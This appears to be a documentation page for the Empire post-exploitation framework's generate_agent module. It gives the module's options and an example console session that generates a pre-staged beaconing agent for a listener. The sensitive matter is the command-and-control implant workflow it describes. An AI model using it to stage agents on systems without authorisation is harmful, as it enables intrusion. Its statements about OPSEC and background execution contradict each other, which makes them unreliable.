Generate_agent - Empire Module

This page contains detailed information about how to use the external/generate_agent Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: generate_agent
Module: external/generate_agent
Source code [1]: empire/server/modules/external/generate_agent.yaml
Source code [2]: empire/server/modules/external/generate_agent.py
MITRE ATT&CK: T1214, T1003
Language: PowerShell
Needs admin: No
OPSEC safe: Yes
Background: Yes

The generate_agent module generates an agent code instance for a specified listener, pre-staged, and register the agent in the database. This allows the agent to begin beconing behavior immediately.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the generate_agent module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the generate_agent module:

Language
Language to generate for the agent.
Suggested values: powershell, python, ironpython.

Listener
Listener to generate the agent for.

OutFile
Output file to write the agent code to.
Default value: /tmp/agent.

Generate_agent Example Usage

Here's an example of how to use the generate_agent module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule external/generate_agent

 Author       @harmj0y                                                               
 Background   True                                                                   
 Description  Generates an agent code instance for a specified listener, pre-staged, 
              and register the agent in the database. This allows the agent to begin 
              beconing behavior immediately.                                         
 Language     powershell                                                             
 Name         external/generate_agent                                                
 NeedsAdmin   False                                                                  
 OpsecSafe    True                                                                   
 Techniques   http://attack.mitre.org/techniques/T1214                               
              http://attack.mitre.org/techniques/T1003                               


,Record Options---------,----------,-------------------------------------,
| Name     | Value      | Required | Description                         |
|----------|------------|----------|-------------------------------------|
| Language |            | True     | Language to generate for the agent. |
|----------|------------|----------|-------------------------------------|
| Listener |            | True     | Listener to generate the agent for. |
|----------|------------|----------|-------------------------------------|
| OutFile  | /tmp/agent | True     | Output file to write the agent code |
|          |            |          | to.                                 |
'----------'------------'----------'-------------------------------------'

(Empire: usemodule/external/generate_agent) > set Language powershell
[*] Set Language to powershell
(Empire: usemodule/external/generate_agent) > set Listener listener1
[*] Set Listener to listener1
(Empire: usemodule/external/generate_agent) > set OutFile /tmp/agent
[*] Set OutFile to /tmp/agent
(Empire: usemodule/external/generate_agent) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.